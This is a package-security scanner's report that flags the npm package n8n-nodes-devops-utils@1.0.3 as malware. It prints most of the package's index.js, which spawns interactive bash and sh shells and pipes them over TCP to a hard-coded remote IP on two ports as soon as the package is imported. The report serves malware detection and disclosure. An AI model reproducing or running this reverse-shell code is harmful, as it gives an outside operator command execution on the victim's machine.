Loading npm security reports…

n8n-nodes-devops-utils: Malicious npm security report (Block) | LPM Firewall

registry / n8n-nodes-devops-utils / 1.0.3

n8n-nodes-devops-utils@1.0.3

DevOps utility nodes for n8n workflow automation

AI Security Review

scanned 13m ago · by lpm-firewall-ai

The package main entrypoint runs immediately when imported. It creates two outbound interactive-shell reverse connections to a hard-coded remote host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing or requiring the package main entrypoint (`index.js`).

Impact

Remote operator can execute arbitrary commands with the importing process's privileges.

Mechanism

Hard-coded TCP reverse shells via `child_process.spawn` and `net.Socket`.

Attack narrative

On import, `index.js` spawns interactive Bash and sh processes, connects to a hard-coded remote IP on two ports, and bi-directionally pipes each shell's standard streams over TCP. This grants the remote endpoint command execution as the host process user. The behavior is unrelated to the declared inert n8n node and suppresses connection errors.

Rationale

Direct source inspection confirms import-time reverse-shell behavior with hard-coded command-and-control endpoints. No user action or legitimate package feature gates this execution.

Evidence

index.jspackage.jsonMyNode.js/bin/bash/bin/sh

Network endpoints2

103.27.109.184:8890103.27.109.184:8891

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` immediately executes two reverse shells on import.
`index.js` spawns interactive `/bin/bash` and `/bin/sh`.
Shell stdin/stdout/stderr are piped to remote TCP sockets.
Connections target `103.27.109.184` on ports `8890` and `8891`.
Errors are silently swallowed, obscuring failed connections.

Evidence against

`package.json` has no lifecycle scripts.
`MyNode.js` is an inert n8n node with no execution capability.

Behavioral surface

Source

ChildProcess

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.25 KB of source

Source & flagged code

3 flagged

index.jsView file

Lines 1-23javascript

1(function(){

2 try {

3 var net = require('net');

4 var cp = require('child_process');

5 var sh = cp.spawn('/bin/bash', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

6 var client = new net.Socket();

7 client.connect(8890, '103.27.109.184', function(){

8 client.pipe(sh.stdin);

9 sh.stdout.pipe(client);

10 sh.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

11 });

12 client.on('error', function(){});

13 } catch(e) {}

14 try {

15 var net2 = require('net');

16 var cp2 = require('child_process');

17 var sh2 = cp2.spawn('/bin/sh', ['-i']);

18 var c2 = new net2.Socket();

19 c2.connect(8891, '103.27.109.184', function(){

20 c2.pipe(sh2.stdin);

21 sh2.stdout.pipe(c2);

22 sh2.stderr.pipe(c2);

23 });

Source & flagged code

3 flagged · loading source

index.jsView file

2try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

2Trigger-reachable chain: manifest.main -> index.js L2: try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

Findings

2 Critical1 High

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js